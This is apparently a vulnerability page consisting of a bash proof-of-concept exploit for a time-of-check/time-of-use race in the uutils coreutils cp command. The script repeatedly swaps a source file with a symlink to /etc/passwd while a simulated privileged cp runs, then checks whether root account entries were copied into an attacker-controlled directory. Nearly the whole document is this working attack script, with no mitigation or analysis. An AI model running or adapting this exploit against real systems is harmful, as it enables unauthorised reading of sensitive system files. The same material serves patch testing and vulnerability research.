CVE-2026-35359: uutils coreutils cp TOCTOU漏洞

#!/bin/bash # PoC for CVE-2026-35359: TOCTOU vulnerability in uutils coreutils cp # This script demonstrates the race condition by attempting to swap a file with a symlink. SENSITIVE_FILE="/etc/passwd" DEST_DIR="./attacker_controlled_dest" SOURCE_FILE="./source_file" # Setup directories and files mkdir -p "$DEST_DIR" echo "Initial safe content" > "$SOURCE_FILE" # Attacker loop: Continuously swap the file to create the race window ( while true; do # Swap to symlink pointing to sensitive file ln -sf "$SENSITIVE_FILE" "$SOURCE_FILE" # Swap back to regular file to avoid detection (optional) echo "safe content" > "$SOURCE_FILE" done ) & ATTACKER_PID=$! # Victim process: Simulate a privileged cp operation # In a real scenario, this might be a cron job or system script for i in {1..100}; do # The vulnerable cp checks path but opens without O_NOFOLLOW cp "$SOURCE_FILE" "$DEST_DIR/copied_data_$i" # Check if we grabbed the sensitive data if grep -q "root:" "$DEST_DIR/copied_data_$i" 2>/dev/null; then echo "[+] Success! Sensitive data copied to $DEST_DIR/copied_data_$i" break fi done # Cleanup kill $ATTACKER_PID 2>/dev/null rm -f "$SOURCE_FILE"